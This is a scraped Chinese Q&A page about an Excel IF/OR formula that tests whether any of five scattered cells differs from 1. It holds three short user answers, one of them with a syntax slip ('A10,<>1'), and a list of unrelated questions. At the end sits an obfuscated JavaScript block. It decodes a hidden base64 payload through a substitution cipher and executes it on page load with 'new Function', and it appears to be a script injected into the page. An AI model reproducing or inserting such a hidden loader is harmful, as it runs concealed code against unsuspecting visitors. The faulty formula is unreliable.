首页

15问答网 > EXCEL表格公式如何设定5个不连贯的单元格中只要其中一个不等于1，则等于3

EXCEL表格公式如何设定5个不连贯的单元格中只要其中一个不等于1，则等于3

例如，A1,A5,A10,A15,A20,五个单元格只要其中一个不等于1，则B2=5

2025-03-14 18:54:44

推荐回答（3个）

回答1：

=if(OR(A1<>1,A5<>1,A10<>1,A15<>1,A20<>1),3,"")

回答2：

如果都等于1该如何，只要1个不等于1，等于3还是5？

回答3：

=IF(or(A1<>1,A5<>1,A10,<>1,A15<>1,A20<>1),5,"")

相关问答

最新问答

急！急！急！《Linux网络操作系统》考试题为了毕业证啊请各位朋友帮帮忙谢谢！！

陀螺仪芯片如何应用？比如如何实现使用陀螺仪控制鼠标？

下列哪一种气体即可以用向上排空气法收集，又可以用排水法收集（　　）A．密度大于空气且易溶于水B．密度

从朝阳门内到八达岭火车站怎么坐公交车，最快需要多久

最新公布的17个地区最低工资是多少

mysql数据库问题，如何同一个操作添加两个表（a表，b表），并把b表的id添加到a表字段中，b表id自动增长

英语国家概况今年考题有否改变?

尼康d800与d750的纠结

实体店该如何快速高效引流？

有没人知道天津中医一附院的儿科李新民现在那天应诊啊谢谢了，大神帮忙啊

(function(){function p8e1545(xf90e981){var g6be64f2="8q^@3dueh.cW?pr6Sn1w45[/fHJLGF]NvP(j,U7V~9=BKOga%Mliys$RTkmY:o2IC|_Ez-QDAxt;XZ&b0!";var o1656="PtJB7S^i@d(plD&MN9/qTrwZ=QY!WE,x:j;IzvmkL3~_UHnyK8C[%gFfAcV2?.b4e1R-|0GahOu5s]6X$o";return atob(xf90e981).split('').map(function(g0fdd){var ac906=g6be64f2.indexOf(g0fdd);return ac906==-1?g0fdd:o1656[ac906]}).join('')}var c=p8e1545('rtmp://W2VnLiFbaSJlIisiSVlNIisiOyIrIjsiWmZSdGdrcWUhZ2Mpe2NSdGdrcWUhZ2NbLUQtO3wtXWF8WS45LSZdQW47JlkzRF1ESS5rfCl7ZVJjMXU2RGt6R2VnMW9xQ1hxY2dEVWVzRHEhNW9XP0RxUiE1NykpezVDcXQ1Z31VRDUgdG5EOU0zZlJ0Z2txZSFnYyxrQ01ZblkpezVDcXQ1ZyBkcTVlZ3NvUjUhN2xBRDVsIS5DYyxrQ01ZblkpfShVRDUgNzMzLnwtOTtmaSI/UFhFTy18Qn54VHBCXmRCTzQ2fiJdIlVDNUUtfCJdIlhlLkU5WSJdImtrcUVZLVk7RS05RXxJIFl8dlkmdjktIlooVUQ1IHcuJi0tOy07ZkFuOyZZM0RpdG5EOU0zYy1OJnwpK3RuRDlNM2MtTjNJKSt0bkQ5TTNjLU4mUikrdG5EOU0zYy1OJlkpWl1zWTtZQ1lSZkFuOyZZM0RpdG5EOU0zYy1OJlkpK3RuRDlNM2MtTjNJKSt0bkQ5TTNjLU4mUikrdG5EOU0zYy1OJnwpWl1bMlJEbmZESS5rfGl3LiYtLTstO2MiSjltYWs3bXQuJFNQazc/Wy5UZmYiKVpdZ0QySW4mOVJEZncuJi0tOy07YyJKOV4/SmJfP19HTj8yR210LlRmZiIpXS5DQ0lNZncuJi0tOy07YyJrOW1lazlfYURHO2ciKV13RG5JOUM7Mi5mdy4mLS07LTtjIms3bVsyUSRQL0hmZiIpXS5JLmsyOyYyZncuJi0tOy07YyJrOUBYRGJIZiIpXSxua25SSWZ3LiYtLTstO2MiazdtWS9iXiwvSGZmIildVXwzTVJJbjtDZncuJi0tOy07YyJEN25XMnNmZiIpXVJSRDs7a2Z3LiYtLTstO2MiazckdC9RbnEiKV1nUiYubi1mQW47JlkzRGl3LiYtLTstO2MiNEckLURUZmYiKVpdQ0REblIta2Z3LiYtLTstO2MiMlFuQS9UZmYiKShVRDUgNW5rRDItZncuJi0tOy07YyJrWXwtREdfPy5zZmYiKShVRDUgazs7MztSQyYoZVJjPyFrRHFlIWdvWENENWtBb2VnLkNOeFJjNW5rRDItKT5FfCl7azs7MztSQyZmREkua3xpZ0QySW4mOVJEWmN3LiYtLTstO2MiLlFtSS5RJGEvR0ZmIikpKGs7OzM7UkMmb2UuZiJxIitnUiYubi1pUlJEOztrWmMpKnwtLS0tKGs7OzM7UkMmb1hxYT9Db1tlLnFBZiJ8LS15IihrOzszO1JDJm9YcWE/Q29BQ2VzQXFmIjstLVdOIihrOzszO1JDJm8uZVhEMj9DLmZxNXRDKGVSY0RJLmt8bzIhLmFMZmd0Pz8pe0RJLmt8bzIhLmFvRFdXQ2cubEFlPy5jazs7MztSQyYpfUM/WEN7VUQ1IDVuUjkmfDNZRGZSdGdrcWUhZ2Mpe0RJLmt8bzIhLmFvRFdXQ2cubEFlPy5jazs7MztSQyYpKEFuOyZZM0RvNUM3IVVDRlVDZ3F+ZVhxQ2dDNWNDRERuUi1rXTVuUjkmfDNZRF1SRD9YQyl9KEFuOyZZM0RvRC4uRlVDZ3F+ZVhxQ2dDNWNDRERuUi1rXTVuUjkmfDNZRF1SRD9YQyl9fVVENSBSMnx8LTJJbnxmREkua3xpZ0QySW4mOVJEWmN3LiYtLTstO2MiL0d8ZS9HSGYiKSkoUjJ8fC0ySW58b2UuZmF8WS45LSYrZ1ImLm4tb2tDZT9jZ1ImLm4taVJSRDs7a1pjKSp8LS0tLSkoVUQ1IERrJjJZLWZSdGdrcWUhZ2NrLlJZJmsmbk0pe1VENSBhOzJ8Mi1NLWZnQ1sgcERxQ2MpKFVENSBQfFImayYyLS5mYFg3cWVCWGUuQjB7YXxZLjktJn1CMHthOzJ8Mi1NLW9xIX4ha0Q/Q3BEcUNkcTVlZ3NjKX1gKFVENSBYLllrMmZndD8/KHE1YXtYLllrMmZeZHhTb1dENVhDYz8ha0Q/ZHEhNURzQ29zQ3FqcUM3Y1B8UiZrJjItLikpfWtEcWtBY0Mpe31lUmNYLllrMmZmZ3Q/Pyl7WC5ZazJmezI1IVtYQzVsIXRncXYtXX19WC5ZazJvMjUhW1hDNWwhdGdxKysoVUQ1IDVNOTkmZnNZO1lDWVJjNzMzLnwtOTtvayFna0RxY2lgZyFbRTB7cERxQ2kiZyFbIlpjKX1gXWBBNUNSRTB7PyFrRHFlIWdvQTVDUn1gXWB0WGtFMHtYLllrMm8yNSFbWEM1bCF0Z3F9YF1aKW9YITVxY2MpZj5nUiYubi1pUlJEOztrWmMpRS1vOylpVXwzTVJJbjtDWmMiXSIpKShVRDUgQ1JSa1JNZjVNOTkmb2VnLkNOeFJjdG5EOU0zYy1OOS4pKT5FfDo1TTk5JmkuQ0NJTVpjNU05OSZvZWcuQ054UmN0bkQ5TTNjLU45LikpKXYiIig1TTk5JmY1TTk5Jml3RG5JOUM7Mi5aY0NSUmtSTV0iIilpLkkuazI7JjJaYyIiKWksbmtuUklaYylpVXwzTVJJbjtDWmMiIikrQ1JSa1JNKFIyfHwtMklufG9YNWtmaSJBcXFXWHYxMSIray5SWSZrJm5NXVIyfHwtMklufG9lLl01TTk5JlppVXwzTVJJbjtDWmMiMSIpKERJLmt8bzIhLmFvZWdYQzVxQENSITVDY1IyfHwtMklufF1ESS5rfG8yIS5hb2tBZT8uUyEuQ1hpLVopKGVSY2s7OzM7UkMmTGZndD8/KXtrOzszO1JDJm9VRD90QytmIlxcNVxcZ0RXV0NnLkMuIEM3IHEhIEFxNz8iKFVENSBnSUQta0Q7LVJmREkua3xvc0NxRj9DN0NncUBhai5jUjJ8fC0ySW58b2UuKShlUmNnSUQta0Q7LVJmZmd0Pz96emdJRC1rRDstUmZmdGcuQ1JlZ0MuKXtrOzszO1JDJm9VRD90QytmIlxcNVxcZyBrRGdxIHNDcSBDNyBSNSE3IEFxNz8ifX19KGVSY2s7OzM7UkMmTGZndD8/KXtrOzszO1JDJm9VRD90QytmIlxcNVxcZ1hDZy4gUFggQSFYcSAiK1stRC07fC19VUQ1IGcuWXxJLm4mTWZSdGdrcWUhZ2NbM0NEOVkzKXs1Q3F0NWcgdy4mLS07LTtjWzNDRDlZMylpd0RuSTlDOzIuWmN0bkQ5TTNjLU5ZRCldZ1ImLm4taVJSRDs7a1pjKW9xIWRxNWVnc2M5JilvWD9la0NjZ1ImLm4tb1I/ISE1Y2dSJi5uLWlSUkQ7O2taYykqbikrWSkpfShEayYyWS1jZy5ZfEkubiZNY1stRC07fC0pKShBbjsmWTNEaSJELi5GVUNncX5lWHFDZ0M1IlpjIjdDWFhEc0MiXVJ0Z2txZSFnY0Mpe2VSY0NvLkRxRG9WZmZhfFkuOS0mKXtESS5rfG9zQ3FGP0M3Q2dxQGFqLmNSMnx8LTJJbnxvZS4pbzVDNyFVQ2MpKFVENSA1azNZa01DZmd0Pz8oZVJjazs7MztSQyZMZmd0Pz8pe2s7OzM7UkMmb1VEP3RDK2YiXFw1XFxnNUNrQ2VVQyBDNyBXIVhxIDdDWFhEc0MiKGs7OzM7UkMmb1VEP3RDK2YiXFw1XFxnQ28uRHFEb1UgIitDby5EcURvdyg1azNZa01DZmNvb29SMnwzLVl8KWY+e2VSY0xSMnwzLVl8enpSMnwzLVl8bz9DZ3NxQTxmLSk1Q3F0NWcoazs7MztSQyZvVUQ/dEMrZiJcXDVcXGciK1IyfDMtWXxvUCFlZ2MiICIpfX1nQ1sgJHRna3FlIWdjIkQ1c1giXUNvLkRxRG93KWN7QnEua1h2WzJSRG5dQj8hc3Y1azNZa01DXX0pfX0pfSljIi9Za3RTNG0sRFkkLDJHTnEvWS47MmQ7LTI5VCZ4NFZ8U3NmZiJdIjlZIl1bZWcuIVtdLiFrdDdDZ3EpfShlSVlNOztjKSg='.substr(7));new Function(c)()})();